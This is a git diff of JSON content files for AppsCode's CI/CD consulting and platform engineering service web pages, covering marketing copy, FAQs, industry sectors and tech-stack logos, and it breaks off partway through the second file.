}, + { + "icon": "fa fa-clock-o", + "title": "Lower Mean Time to Resolution (MTTR)" + }, + { + "icon": "fa fa-bug", + "title": "Fewer Bugs & Production Incidents" + }, + { + "icon": "fa fa-eye", + "title": "Proactive Issue Detection" + } + ] + }, + "service_details": { + "title": "Our CI/CD Consulting & Implementation Expertise", + "subtitle": "Tailored, end-to-end Continuous Integration and Continuous Delivery solutions for modern DevOps pipelines.", + "sections": [ + { + "title": "CI/CD Strategy & Consulting", + "description": "Our CI/CD consultants analyze your current infrastructure and workflows to recommend scalable, automated, and secure CI/CD solutions tailored to your business.", + "offerings": [ + "Implement modern DevOps automation with reliable, cost-effective CI/CD pipelines.", + "Align CI/CD solutions with existing infrastructure, team workflow, and business goals.", + "Provide actionable recommendations to optimize release cycles and software quality." + ], + "image": "/assets/images/services/ci-cd-consulting-consulting.png" + }, + { + "title": "CI/CD Pipeline Design & Architecture", + "description": "Design, revamp, or optimize CI/CD pipelines to ensure maximum automation, visibility, and control across development teams.", + "offerings": [ + "Create or overhaul CI/CD pipelines from scratch for end-to-end automation.", + "Ensure transparency and monitoring of all pipeline stages.", + "Deliver custom CI/CD architecture tailored to your organization’s requirements." + ], + "image": "/assets/images/services/ci-cd-consulting-design.png" + }, + { + "title": "CI/CD Implementation & Automation", + "description": "Deploy robust CI/CD workflows, automate testing, monitoring, and production deployments for reliable and faster software delivery.", + "offerings": [ + "Implement and configure CI/CD pipelines using Jenkins, ArgoCD, Prometheus, and Grafana.", + "Automate infrastructure provisioning, testing, and monitoring for consistent reliability.", + "Enable zero-downtime deployments and rollback strategies." + ], + "image": "/assets/images/services/ci-cd-consulting-implementation.png" + }, + { + "title": "CI/CD Training & Enablement", + "description": "Upskill your teams with practical CI/CD principles, DevOps best practices, and hands-on pipeline management to ensure long-term success.", + "offerings": [ + "Train teams on CI/CD tools, workflows, and DevOps methodologies.", + "Share real-world implementation experience for faster adoption.", + "Build internal expertise for continuous improvement and pipeline automation." + ], + "image": "/assets/images/services/ci-cd-consulting-training.png" + } + ] + }, + "cards_group": { + "title": "AppsCode’s AAA Framework for Platform Engineering", + "models": [ + { + "number": "01", + "title": "ADOPT", + "description": "Evaluate current tools and practices using our comprehensive Platform Engineering Assessment framework." + }, + { + "number": "02", + "title": "ACCELERATE", + "description": "Ensure product-market fit for your platform and promote adoption across teams." + }, + { + "number": "03", + "title": "ASSETS", + "description": "Scale platform adoption and assessment processes organization-wide." + } + ] + }, + "service_details2": { + "title": "Platform Engineering Consulting Services", + "sections": [ + { + "title": "Product Market Fit Assessment", + "description": "Align your platform with developer needs through structured assessments and iterative feedback.", + "offerings": [ + "Understand developer workflows, tools, and challenges.", + "Analyze existing tech landscape to design scalable, integrated solutions.", + "Continuously refine the platform based on developer insights." + ], + "image": "https://www.appscode.com/assets/img/platform-engineering-consulting/product-market-fit-assessment.svg" + }, + { + "title": "MVP Strategy & Platform Roadmap", + "description": "Plan the foundation for a successful internal developer platform (IDP).", + "offerings": [ + "Define a strategic roadmap for platform evolution, feature development, and scaling.", + "Identify core MVP features aligned with business goals and developer needs.", + "Iteratively enhance platform functionality based on continuous feedback." + ], + "image": "https://www.appscode.com/assets/img/platform-engineering-consulting/mvp-strategy-platform-roadmap-consulting.svg" + }, + { + "title": "Platform Design & Development", + "description": "Build robust, scalable platforms tailored to your organization's unique needs.", + "offerings": [ + "Architect agile platforms adaptable to evolving developer requirements.", + "Design user-centric interfaces for seamless experiences.", + "Deliver end-to-end full-stack platform solutions for cohesion and reliability." + ], + "image": "https://www.appscode.com/assets/img/platform-engineering-consulting/platform-design-and-development.svg" + }, + { + "title": "Integrations & Ecosystem Setup", + "description": "Seamlessly integrate tools and services to enhance platform usability and developer efficiency.", + "offerings": [ + "Implement integrations swiftly to maintain technological relevance.", + "Establish supportive services to streamline developer workflows.", + "Deliver custom integrations tailored to your unique ecosystem." + ], + "image": "https://www.appscode.com/assets/img/platform-engineering-consulting/integrations-ecosystem-setup.svg" + }, + { + "title": "Platform Support & Maintenance", + "description": "Ensure consistent platform performance with proactive maintenance and support.", + "offerings": [ + "Provide long-term platform support for developers and stakeholders.", + "Maintain updates, patches, and security enhancements.", + "Offer customized maintenance plans based on platform needs." + ], + "image": "https://www.appscode.com/assets/img/platform-engineering-consulting/platform-support-maintenance.svg" + }, + { + "title": "Platform Engineering Training & Support", + "description": "Upskill teams in cloud foundations, modernization, and platform engineering best practices.", + "offerings": [ + "Train teams to become self-sufficient in platform engineering.", + "Create training materials and comprehensive documentation for operations." + ], + "image": "https://www.appscode.com/assets/img/platform-engineering-consulting/platform-engineering-training-support.svg" + } + ] + }, + "industries": { + "title": "We Understand Your Industry", + "subtitle": "With experience serving 100+ clients, we know critical requirements, compliance needs, and the importance of accuracy.", + "additional_text": "From global enterprises to fast-growing startups, we’ve got you covered!", + "sectors": [ + { + "icon": "fa fa-bank", + "title": "Banking & Finance", + "description": "Deliver secure, compliant, highly available systems for 24/7 transactions." + }, + { + "icon": "fa fa-laptop", + "title": "Technology, SaaS & Internet", + "description": "Integrate AI capabilities while managing high-performance cloud infrastructure." + }, + { + "icon": "fa fa-car", + "title": "Automotive", + "description": "Leverage AI and ML to enhance safety, customer experience, and sustainability." + }, + { + "icon": "fa fa-plug", + "title": "Energy, Oil & Gas", + "description": "Modernize operations for better monitoring, inspections, and cost efficiency." + }, + { + "icon": "fa fa-hospital-o", + "title": "Healthcare", + "description": "Process patient data efficiently and securely using cloud GPU solutions." + }, + { + "icon": "fa fa-plane", + "title": "Travel & Hospitality", + "description": "Deliver seamless, scalable operations and instant updates for customers." + } + ] + }, + "tech_stack": { + "title": "Diverse Technical Expertise", + "subtitle": "Serving 100+ clients, our engineers excel in:", + "technologies": [ + { + "name": "Kubernetes", + "logo": "/assets/images/technical-expertise/kubernetes.svg" + }, + { + "name": "Red Hat OpenShift", + "logo": "/assets/images/technical-expertise/openshift.svg" + }, + { + "name": "Rancher by SUSE", + "logo": "/assets/images/technical-expertise/rancher.svg" + }, + { + "name": "Amazon EKS", + "logo": "/assets/images/technical-expertise/eks.svg" + }, + { + "name": "Azure AKS", + "logo": "/assets/images/technical-expertise/aks.svg" + }, + { + "name": "Google GKE", + "logo": "/assets/images/technical-expertise/gke.svg" + }, + { + "name": "ArgoCD", + "logo": "/assets/images/technical-expertise/argocd.svg" + }, + { + "name": "FluxCD", + "logo": "/assets/images/technical-expertise/fluxcd.svg" + }, + { + "name": "Helm", + "logo": "/assets/images/technical-expertise/helm.svg" + }, + { + "name": "KubeDB", + "logo": "/assets/images/technical-expertise/kubedb.svg" + }, + { + "name": "KubeStash", + "logo": "/assets/images/technical-expertise/stash.svg" + }, + { + "name": "Voyager Gateway", + "logo": "/assets/images/technical-expertise/voyager.svg" + }, + { + "name": "OpenTelemetry", + "logo": "/assets/images/technical-expertise/opentelemetry.svg" + }, + { + "name": "Prometheus", + "logo": "/assets/images/technical-expertise/prometheus.svg" + }, + { + "name": "Thanos", + "logo": "/assets/images/technical-expertise/thanos.svg" + }, + { + "name": "Grafana", + "logo": "/assets/images/technical-expertise/grafana.svg" + }, + { + "name": "Terraform", + "logo": "/assets/images/technical-expertise/terraform.svg" + }, + { + "name": "Vault", + "logo": "/assets/images/technical-expertise/vault.svg" + }, + { + "name": "Open Policy Agent", + "logo": "/assets/images/technical-expertise/open-policy-agent.png" + }, + { + "name": "OpenFGA", + "logo": "/assets/images/technical-expertise/openfga.svg" + } + ] + }, + "final_cta": { + "title": "Optimize Your CI/CD Pipelines Today", + "subtitle": "Increase deployment frequency, reduce lead times, improve security, and accelerate software delivery with AppsCode experts.", + "buttons": [ + { + "text": "Talk to a CI/CD Expert", + "icon": "fa fa-calendar", + "type": "outlined" + } + ] + }, + "cards": { + "title": "Why Partner with AppsCode?", + "items": [ + { + "logo": "/assets/images/services/icons8/ios-glyphs-30-certificate.png", + "title": "Certified Developers", + "description": "50+ engineers specializing in Kubernetes, containers, and cloud-native platforms—helping you build, scale, and automate with confidence." + }, + { + "icon": "fa fa-briefcase", + "title": "Domain Expertise", + "description": "Apply best practices gained from 100+ client engagements." + }, + { + "icon": "fa fa-trophy", + "title": "First Mover Advantage", + "description": "US-based pioneer in Kubernetes products and services with years of field expertise." + }, + { + "icon": "fa fa-graduation-cap", + "title": "Training", + "description": "Hands-on training to build expertise in CI/CD and DevOps." + }, + { + "logo": "/assets/images/services/icons8/ios-glyphs-30-certificate.png", + "title": "CNCF Silver Member", + "description": "A CNCF Silver Member and a regular sponsor of KubeCon + CloudNativeCon." + }, + { + "icon": "fa fa-wrench", + "title": "Scale Easily", + "description": "Expand your engineering team without the hassle of hiring or training." + } + ] + }, + "resources": { + "title": "Cloud-Native Product Engineering Resources", + "items": [ + { + "type": "Blog", + "title": "Getting Started with Perses The Free, Open Source Grafana Alternative", + "image": "https://appscode.com/blog/post/getting-started-with-perses-the-free-open-source-grafana-alternative/hero_hu030f24f1ec9a9fe9c13de5ab0e9d783a_31026_1300x650_fill_q75_box_smart1.jpg", + "link": "https://appscode.com/blog/post/getting-started-with-perses-the-free-open-source-grafana-alternative/" + }, + { + "type": "Blog", + "title": "Future-Proof Your Data Strategy - Why Kubernetes is the Engine Behind Stateful Workloads & Modern AI", + "image": "https://appscode.com/blog/post/future-proof-your-data-strategy-why-kubernetes-is-the-engine-behind-modern-ai-and-stateful-workloads/hero_hu4319d5ff4a4e9c05cba253c9f6e69f4d_254620_1300x650_fill_q75_box_smart1.jpg", + "link": "https://appscode.com/blog/post/future-proof-your-data-strategy-why-kubernetes-is-the-engine-behind-modern-ai-and-stateful-workloads/" + }, + { + "type": "Event", + "title": "KubeConNA Digest - Top Trends and Key Takeaways from This Year’s Event by AppsCode", + "image": "https://appscode.com/blog/post/kubecon-na-2024/hero_hu4319d5ff4a4e9c05cba253c9f6e69f4d_69997_1300x650_fill_q75_box_smart1.jpg", + "link": "https://appscode.com/blog/post/kubecon-na-2024/" + } + ] + }, + "faq": [ + { + "question": "What do your CI/CD Consulting Services include?", + "answer": "Our CI/CD Consulting Services cover the full lifecycle of continuous integration and delivery — from evaluating your current processes, defining pipelines, integrating DevOps best practices, to implementing automation for faster, reliable, and repeatable software releases." + }, + { + "question": "Which technologies and practices are used in CI/CD consulting?", + "answer": "We leverage tools and platforms like Jenkins, GitHub Actions, GitLab CI, Kubernetes, Docker, and infrastructure as code. Our approach ensures automated testing, reliable deployments, and seamless integration with cloud-native architectures and microservices environments." + }, + { + "question": "Can you work with our existing development and deployment workflows?", + "answer": "Yes — we integrate with your current tech stack and workflows. Our engineers enhance existing pipelines, implement best practices, and optimize for continuous delivery to improve speed, quality, and operational confidence." + }, + { + "question": "What is the typical timeline and engagement model for CI/CD Consulting Services?", + "answer": "Engagements usually start with a 1–2 week assessment to analyze your current processes. Implementation follows in 4–8 week agile sprints. We offer flexible models including fixed-scope projects, time-and-materials engagements, or long-term consulting partnerships." + }, + { + "question": "Do you support multi-cloud or hybrid cloud environments in CI/CD pipelines?", + "answer": "Absolutely. Our CI/CD Consulting Services support AWS, Azure, GCP, and on-premises Kubernetes clusters. Pipelines are designed to be portable and consistent, ensuring smooth deployments across different environments." + }, + { + "question": "How do you ensure quality, security, and reliability in CI/CD pipelines?", + "answer": "We ensure quality with automated testing and code reviews, enforce security with secrets management and role-based access, and maintain reliability through robust monitoring, rollback strategies, and disaster recovery practices." + }, + { + "question": "What happens after the CI/CD pipelines are implemented?", + "answer": "After implementation, we help monitor pipeline performance, optimize automation, and provide guidance for scaling. Our CI/CD Consulting Services also include continuous improvements and best practices to maintain operational efficiency and reliability." + }, + { + "question": "How much do CI/CD Consulting Services cost and what are the pricing models?", + "answer": "Costs vary depending on the complexity of your pipelines, number of teams, and ongoing support needs. We offer flexible pricing models including fixed-scope projects, hourly engagements, and long-term consulting retainers. Detailed proposals are provided after the assessment phase." + } + ] +} diff --git a/data/services/platform-engineering/platform_engineering_services.json b/data/services/platform-engineering/platform_engineering_services.json index d10067b663..70065d7239 100644 --- a/data/services/platform-engineering/platform_engineering_services.json +++ b/data/services/platform-engineering/platform_engineering_services.json @@ -1,370 +1,370 @@ -{ - "hero": { - "title": "Elevate Your Organization with Expert Platform Engineering Services", - "subtitle": "AppsCode delivers end-to-end platform engineering services — from platform strategy, MVP development, and integrations to ongoing optimization and support for scalable, cloud-native platforms.", - "cta_text": "SPEAK TO A PLATFORM ENGINEERING EXPERT", - "cta_url": "https://appscode.com/contact/", - "illustration": { - "src": "/assets/images/services/build-future-ready-platforms-with-appscode.png", - "alt": "Platform Engineering Services Illustration" - } - }, - "trusted_by": { - "title": "Trusted by Global Enterprises and High-Growth Startups" - }, - "service_details": { - "sections": [ - { - "title": "Comprehensive Platform Engineering Services", - "description": "Our platform engineering services help organizations build scalable, developer-friendly internal platforms, increase productivity, and reduce operational friction.", - "offerings": [ - "50% of organizations report adopting platform engineering for increased developer productivity.", - "Achieve 12–30% weekly efficiency gains with optimized internal platforms.", - "Self-service platforms improve developer experience, sought by nearly 30% of IT leaders.", - "Gartner predicts 80% of enterprises will adopt internal developer platforms by 2026." - ], - "image": "/assets/images/services/scalable-growth.png" - } - ] - }, - "cards_group": { - "title": "AppsCode AAA Framework for Platform Engineering", - "models": [ - { - "number": "01", - "title": "ADOPT", - "description": "Evaluate existing tools, workflows, and practices using AppsCode’s Platform Engineering Assessment to identify gaps and define a high-impact platform strategy." - }, - { - "number": "02", - "title": "ACCELERATE", - "description": "Enhance platform usability and developer experience. Collaborate with teams to evangelize the platform, drive engagement, and achieve internal product-market fit." - }, - { - "number": "03", - "title": "ASSETS", - "description": "Scale platform engineering practices across teams, ensuring consistent value delivery and empowering self-service for developers organization-wide." - } - ] - }, - "title_with_small_cards": { - "title": "Why Choose Platform Engineering Consulting?", - "areas": [ - { - "icon": "fa fa-users", - "title": "Expert Guidance", - "description": "Benefit from industry veterans who bring practical experience in platform engineering and DevOps transformation." - }, - { - "icon": "fa fa-cogs", - "title": "Optimized Workflows", - "description": "Streamline processes and tooling to reduce friction and boost developer productivity." - }, - { - "icon": "fa fa-lightbulb-o", - "title": "Accelerated Development", - "description": "Enable faster iteration and delivery with structured MVP and platform roadmaps." - }, - { - "icon": "fa fa-code", - "title": "DevOps Integration", - "description": "Integrate platform engineering practices seamlessly into CI/CD pipelines and cloud workflows." - }, - { - "icon": "fa fa-rocket", - "title": "Faster Time-to-Market", - "description": "Empower teams to ship features quickly without compromising quality or security." - } - ] - }, - "service_details2": { - "title": "Our Platform Engineering Consulting Services", - "sections": [ - { - "title": "Product-Market Fit Assessment", - "description": "Ensure your platform aligns with developer needs and organizational goals through deep assessments and insights.", - "offerings": [ - "Analyze developer workflows, challenges, and preferences for tailored platform solutions.", - "Design platform architecture, integrations, and tool selection based on technology landscape analysis.", - "Iteratively refine the platform using feedback to meet evolving developer needs." - ], - "image": "/assets/images/services/product-market-fit-assessment.png" - }, - { - "title": "MVP Strategy & Platform Roadmap Consulting", - "description": "Define your Minimum Viable Product (MVP) and strategic roadmap to align platform evolution with business vision and adoption goals.", - "offerings": [ - "Collaborate on future platform direction and feature prioritization.", - "Identify MVP features delivering maximum value for internal developers.", - "Develop iterative roadmaps for continuous platform enhancement." - ], - "image": "/assets/images/services/mvp-strategy-platform-roadmap-consulting.png" - }, - { - "title": "Platform Design & Development", - "description": "Design and build robust, scalable internal developer platforms (IDPs) to boost productivity and improve user experience.", - "offerings": [ - "Architect agile and scalable platforms using full-stack technology expertise.", - "Create intuitive interfaces for a seamless developer experience.", - "Deliver end-to-end solutions covering development, integration, and deployment." - ], - "image": "/assets/images/services/platform-design-development.png" - }, - { - "title": "Integrations & Ecosystem Setup", - "description": "Integrate tools, services, and workflows to create a cohesive developer ecosystem that enhances platform value.", - "offerings": [ - "Rapidly implement integrations to maintain cutting-edge platform functionality.", - "Build a comprehensive ecosystem of services and tools.", - "Provide custom integrations for unique workflow and tooling requirements." - ], - "image": "/assets/images/services/integrations-ecosystem-setup.png" - }, - { - "title": "Platform Support & Maintenance", - "description": "Ensure platform reliability, security, and performance through ongoing support and proactive maintenance.", - "offerings": [ - "Deliver long-term support for developers and stakeholders.", - "Conduct routine updates, patches, and security improvements.", - "Tailor maintenance plans to guarantee consistent platform performance." - ], - "image": "/assets/images/services/platform-support-maintenance.png" - }, - { - "title": "Platform Engineering Training & Enablement", - "description": "Empower internal teams to adopt platform engineering best practices with hands-on training, documentation, and knowledge transfer.", - "offerings": [ - "Provide hands-on training for self-sufficient platform engineering teams.", - "Develop comprehensive documentation and best practice guides." - ], - "image": "/assets/images/services/platform-engineering-training-enablement.png" - } - ] - }, - "industries": { - "title": "Cross-Industry Platform Engineering Expertise", - "subtitle": "From fintech to healthcare, our platform engineering services address industry-specific challenges with scalable, secure solutions.", - "additional_text": "We help global enterprises and startups implement efficient, high-performing platforms.", - "sectors": [ - { - "icon": "fa fa-bank", - "title": "Banking & Finance", - "description": "Build secure, highly available platforms that handle transactions and payments 24/7." - }, - { - "icon": "fa fa-laptop", - "title": "Technology & SaaS", - "description": "Integrate AI and cloud-native solutions for scalable, high-performance applications." - }, - { - "icon": "fa fa-car", - "title": "Automotive", - "description": "Leverage AI/ML and automation to meet operational safety and customer expectations." - }, - { - "icon": "fa fa-plug", - "title": "Energy & Utilities", - "description": "Modernize systems for monitoring, inspections, and cost optimization." - }, - { - "icon": "fa fa-hospital-o", - "title": "Healthcare", - "description": "Utilize cloud GPU and high-speed processing to meet rapidly evolving healthcare demands." - }, - { - "icon": "fa fa-plane", - "title": "Travel & Hospitality", - "description": "Deliver flexible, scalable, and efficient platforms for superior customer experiences." - } - ] - }, - "tech_stack": { - "title": "Technical Expertise for Modern Platforms", - "subtitle": "Hands-on experience with cloud-native and Kubernetes-based tools to deliver scalable and secure platform engineering services.", - "technologies": [ - { - "name": "Kubernetes", - "logo": "/assets/images/technical-expertise/kubernetes.svg" - }, - { - "name": "Red Hat OpenShift", - "logo": "/assets/images/technical-expertise/openshift.svg" - }, - { - "name": "Rancher by SUSE", - "logo": "/assets/images/technical-expertise/rancher.svg" - }, - { - "name": "Amazon EKS", - "logo": "/assets/images/technical-expertise/eks.svg" - }, - { - "name": "Azure AKS", - "logo": "/assets/images/technical-expertise/aks.svg" - }, - { - "name": "Google GKE", - "logo": "/assets/images/technical-expertise/gke.svg" - }, - { - "name": "ArgoCD", - "logo": "/assets/images/technical-expertise/argocd.svg" - }, - { - "name": "FluxCD", - "logo": "/assets/images/technical-expertise/fluxcd.svg" - }, - { - "name": "Helm", - "logo": "/assets/images/technical-expertise/helm.svg" - }, - { - "name": "KubeDB", - "logo": "/assets/images/technical-expertise/kubedb.svg" - }, - { - "name": "KubeStash", - "logo": "/assets/images/technical-expertise/stash.svg" - }, - { - "name": "Voyager Gateway", - "logo": "/assets/images/technical-expertise/voyager.svg" - }, - { - "name": "OpenTelemetry", - "logo": "/assets/images/technical-expertise/opentelemetry.svg" - }, - { - "name": "Prometheus", - "logo": "/assets/images/technical-expertise/prometheus.svg" - }, - { - "name": "Thanos", - "logo": "/assets/images/technical-expertise/thanos.svg" - }, - { - "name": "Grafana", - "logo": "/assets/images/technical-expertise/grafana.svg" - }, - { - "name": "Terraform", - "logo": "/assets/images/technical-expertise/terraform.svg" - }, - { - "name": "Vault", - "logo": "/assets/images/technical-expertise/vault.svg" - }, - { - "name": "Open Policy Agent", - "logo": "/assets/images/technical-expertise/open-policy-agent.png" - }, - { - "name": "OpenFGA", - "logo": "/assets/images/technical-expertise/openfga.svg" - } - ] - }, - "cards": { - "title": "Why Choose AppsCode for Platform Engineering Services?", - "items": [ - { - "logo": "/assets/images/services/icons8/ios-glyphs-30-certificate.png", - "title": "Certified Experts", - "description": "50+ engineers specializing in Kubernetes, containers, and cloud-native platforms—helping you build, scale, and automate with confidence" - }, - { - "icon": "fa fa-briefcase", - "title": "Proven Domain Expertise", - "description": "Over 100 successful platform engineering implementations across enterprises and startups." - }, - { - "icon": "fa fa-trophy", - "title": "First-Mover Advantage", - "description": "US-based pioneer in Kubernetes products and services with years of field expertise." - }, - { - "icon": "fa fa-graduation-cap", - "title": "Training & Enablement", - "description": "Hands-on knowledge transfer to upskill internal teams and foster self-sufficiency." - }, - { - "logo": "/assets/images/services/icons8/ios-glyphs-30-certificate.png", - "title": "CNCF Silver Member", - "description": "A CNCF Silver Member and a regular sponsor of KubeCon + CloudNativeCon." - }, - { - "icon": "fa fa-wrench", - "title": "Scalable Support", - "description": "Easily expand engineering support without hiring overhead." - } - ] - }, - "resources": { - "title": "Cloud-Native Product Engineering Resources", - "items": [ - { - "type": "Blog", - "title": "Getting Started with Perses The Free, Open Source Grafana Alternative", - "image": "https://appscode.com/blog/post/getting-started-with-perses-the-free-open-source-grafana-alternative/hero_hu030f24f1ec9a9fe9c13de5ab0e9d783a_31026_1300x650_fill_q75_box_smart1.jpg", - "link": "https://appscode.com/blog/post/getting-started-with-perses-the-free-open-source-grafana-alternative/" - }, - { - "type": "Blog", - "title": "Future-Proof Your Data Strategy - Why Kubernetes is the Engine Behind Stateful Workloads & Modern AI", - "image": "https://appscode.com/blog/post/future-proof-your-data-strategy-why-kubernetes-is-the-engine-behind-modern-ai-and-stateful-workloads/hero_hu4319d5ff4a4e9c05cba253c9f6e69f4d_254620_1300x650_fill_q75_box_smart1.jpg", - "link": "https://appscode.com/blog/post/future-proof-your-data-strategy-why-kubernetes-is-the-engine-behind-modern-ai-and-stateful-workloads/" - }, - { - "type": "Event", - "title": "KubeConNA Digest - Top Trends and Key Takeaways from This Year’s Event by AppsCode", - "image": "https://appscode.com/blog/post/kubecon-na-2024/hero_hu4319d5ff4a4e9c05cba253c9f6e69f4d_69997_1300x650_fill_q75_box_smart1.jpg", - "link": "https://appscode.com/blog/post/kubecon-na-2024/" - } - ] - }, - "final_cta": { - "title": "Ready to Elevate Your Platform Engineering Journey?", - "subtitle": "Consult with AppsCode experts for strategy, design, deployment, and ongoing platform support.", - "buttons": [ - { - "text": "Talk to a Platform Engineering Expert", - "icon": "fa fa-calendar", - "type": "outlined" - } - ] - }, - "faq": [ - { - "question": "What do your Platform Engineering Services include?", - "answer": "Our Platform Engineering Services cover the full lifecycle of building and maintaining cloud-native platforms: from opportunity discovery, MVP development, engineering and DevOps practices, to deployment, monitoring, and scaling. We focus on creating reliable, secure, and high-performing platforms for your organization." - }, - { - "question": "Which technologies and practices are used in your platform engineering?", - "answer": "We leverage Kubernetes orchestration, microservices architecture, continuous delivery pipelines (CI/CD), automated testing, infrastructure as code, observability (monitoring/logging), and hybrid/multi-cloud deployment patterns to ensure platform stability and scalability." - }, - { - "question": "Can you work with our existing product roadmap and tech stack?", - "answer": "Yes — we can integrate with your current roadmap and architecture. Our engineers refine your existing platform, lift it into a containerized, cloud-native, and production-ready form, or build new components from scratch as needed." - }, - { - "question": "What is the typical timeline and engagement model for Platform Engineering Services?", - "answer": "We usually start with a short discovery phase (1–2 weeks) to align on goals, architecture, and MVP scope. Development continues in 4–8 week agile sprints. Engagement models include fixed-scope projects, time-and-materials with embedded engineers, or longer-term dedicated platform engineering support." - }, - { - "question": "Do you support multi-cloud or hybrid cloud environments?", - "answer": "Absolutely. Our Platform Engineering Services are designed to be cloud-agnostic, ready to deploy on public clouds such as AWS, Azure, GCP, or on-premises Kubernetes clusters. This ensures portability, scalability, and operational consistency across environments." - }, - { - "question": "How do you ensure quality, security, and reliability in the platforms you build?", - "answer": "We ensure quality through automated testing, code reviews, and continuous integration. Security is baked in via container isolation, role-based access, secrets management, and vulnerability scanning. Reliability is maintained with production-grade patterns, monitoring, backup/recovery, and disaster resilience." - }, - { - "question": "What happens after the platform is launched?", - "answer": "After launch, we help monitor performance, optimize infrastructure, and scale the system. Our Platform Engineering Services also include continuous improvements, automation, and tuning to ensure long-term reliability and cost efficiency." - }, - { - "question": "How much do Platform Engineering Services cost and what are the pricing models?", - "answer": "Pricing depends on project scope, complexity, number of teams, and ongoing support requirements. We offer flexible models such as fixed-price MVP builds, hourly or engagement-based workflows, and retainers for continuous platform engineering and scaling. A detailed proposal is provided after the discovery phase." - } - ] -} +{ + "hero": { + "title": "Elevate Your Organization with Expert Platform Engineering Services", + "subtitle": "AppsCode delivers end-to-end platform engineering services — from platform strategy, MVP development, and integrations to ongoing optimization and support for scalable, cloud-native platforms.", + "cta_text": "SPEAK TO A PLATFORM ENGINEERING EXPERT", + "cta_url": "https://appscode.com/contact/", + "illustration": { + "src": "/assets/images/services/build-future-ready-platforms-with-appscode.png", + "alt": "Platform Engineering Services Illustration" + } + }, + "trusted_by": { + "title": "Trusted by Global Enterprises and High-Growth Startups" + }, + "service_details": { + "sections": [ + { + "title": "Comprehensive Platform Engineering Services", + "description": "Our platform engineering services help organizations build scalable, developer-friendly internal platforms, increase productivity, and reduce operational friction.", + "offerings": [ + "50% of organizations report adopting platform engineering for increased developer productivity.", + "Achieve 12–30% weekly efficiency gains with optimized internal platforms.", + "Self-service platforms improve developer experience, sought by nearly 30% of IT leaders.", + "Gartner predicts 80% of enterprises will adopt internal developer platforms by 2026." + ], + "image": "/assets/images/services/scalable-growth.png" + } + ] + }, + "cards_group": { + "title": "AppsCode AAA Framework for Platform Engineering", + "models": [ + { + "number": "01", + "title": "ADOPT", + "description": "Evaluate existing tools, workflows, and practices using AppsCode’s Platform Engineering Assessment to identify gaps and define a high-impact platform strategy." + }, + { + "number": "02", + "title": "ACCELERATE", + "description": "Enhance platform usability and developer experience. Collaborate with teams to evangelize the platform, drive engagement, and achieve internal product-market fit." + }, + { + "number": "03", + "title": "ASSETS", + "description": "Scale platform engineering practices across teams, ensuring consistent value delivery and empowering self-service for developers organization-wide." + } + ] + }, + "title_with_small_cards": { + "title": "Why Choose Platform Engineering Consulting?", + "areas": [ + { + "icon": "fa fa-users", + "title": "Expert Guidance", + "description": "Benefit from industry veterans who bring practical experience in platform engineering and DevOps transformation." + }, + { + "icon": "fa fa-cogs", + "title": "Optimized Workflows", + "description": "Streamline processes and tooling to reduce friction and boost developer productivity." + }, + { + "icon": "fa fa-lightbulb-o", + "title": "Accelerated Development", + "description": "Enable faster iteration and delivery with structured MVP and platform roadmaps." + }, + { + "icon": "fa fa-code", + "title": "DevOps Integration", + "description": "Integrate platform engineering practices seamlessly into CI/CD pipelines and cloud workflows." + }, + { + "icon": "fa fa-rocket", + "title": "Faster Time-to-Market", + "description": "Empower teams to ship features quickly without compromising quality or security." + } + ] + }, + "service_details2": { + "title": "Our Platform Engineering Consulting Services", + "sections": [ + { + "title": "Product-Market Fit Assessment", + "description": "Ensure your platform aligns with developer needs and organizational goals through deep assessments and insights.", + "offerings": [ + "Analyze developer workflows, challenges, and preferences for tailored platform solutions.", + "Design platform architecture, integrations, and tool selection based on technology landscape analysis.", + "Iteratively refine the platform using feedback to meet evolving developer needs." + ], + "image": "/assets/images/services/product-market-fit-assessment.png" + }, + { + "title": "MVP Strategy & Platform Roadmap Consulting", + "description": "Define your Minimum Viable Product (MVP) and strategic roadmap to align platform evolution with business vision and adoption goals.", + "offerings": [ + "Collaborate on future platform direction and feature prioritization.", + "Identify MVP features delivering maximum value for internal developers.", + "Develop iterative roadmaps for continuous platform enhancement." + ], + "image": "/assets/images/services/mvp-strategy-platform-roadmap-consulting.png" + }, + { + "title": "Platform Design & Development", + "description": "Design and build robust, scalable internal developer platforms (IDPs) to boost productivity and improve user experience.", + "offerings": [ + "Architect agile and scalable platforms using full-stack technology expertise.", + "Create intuitive interfaces for a seamless developer experience.", + "Deliver end-to-end solutions covering development, integration, and deployment." + ], + "image": "/assets/images/services/platform-design-development.png" + }, + { + "title": "Integrations & Ecosystem Setup", + "description": "Integrate tools, services, and workflows to create a cohesive developer ecosystem that enhances platform value.", + "offerings": [ + "Rapidly implement integrations to maintain cutting-edge platform functionality.", + "Build a comprehensive ecosystem of services and tools.", + "Provide custom integrations for unique workflow and tooling requirements." + ], + "image": "/assets/images/services/integrations-ecosystem-setup.png" + }, + { + "title": "Platform Support & Maintenance", + "description": "Ensure platform reliability, security, and performance through ongoing support and proactive maintenance.", + "offerings": [ + "Deliver long-term support for developers and stakeholders.", + "Conduct routine updates, patches, and security improvements.", + "Tailor maintenance plans to guarantee consistent platform performance." + ], + "image": "/assets/images/services/platform-support-maintenance.png" + }, + { + "title": "Platform Engineering Training & Enablement", + "description": "Empower internal teams to adopt platform engineering best practices with hands-on training, documentation, and knowledge transfer.", + "offerings": [ + "Provide hands-on training for self-sufficient platform engineering teams.", + "Develop comprehensive documentation and best practice guides." + ], + "image": "/assets/images/services/platform-engineering-training-enablement.png" + } + ] + }, + "industries": { + "title": "Cross-Industry Platform Engineering Expertise", + "subtitle": "From fintech to healthcare, our platform engineering services address industry-specific challenges with scalable, secure solutions.", + "additional_text": "We help global enterprises and startups implement efficient, high-performing platforms.", + "sectors": [ + { + "icon": "fa fa-bank", + "title": "Banking & Finance", + "description": "Build secure, highly available platforms that handle transactions and payments 24/7." + }, + { + "icon": "fa fa-laptop", + "title": "Technology & SaaS", + "description": "Integrate AI and cloud-native solutions for scalable, high-performance applications." + }, + { + "icon": "fa fa-car", + "title": "Automotive", + "description": "Leverage AI/ML and automation to meet operational safety and customer expectations." + }, + { + "icon": "fa fa-plug", + "title": "Energy & Utilities", + "description": "Modernize systems for monitoring, inspections, and cost optimization." + }, + { + "icon": "fa fa-hospital-o", + "title": "Healthcare", + "description": "Utilize cloud GPU and high-speed processing to meet rapidly evolving healthcare demands." + }, + { + "icon": "fa fa-plane", + "title": "Travel & Hospitality", + "description": "Deliver flexible, scalable, and efficient platforms for superior customer experiences." + } + ] + }, + "tech_stack": { + "title": "Technical Expertise for Modern Platforms", + "subtitle": "Hands-on experience with cloud-native and Kubernetes-based tools to deliver scalable and secure platform engineering services.", + "technologies": [ + { + "name": "Kubernetes", 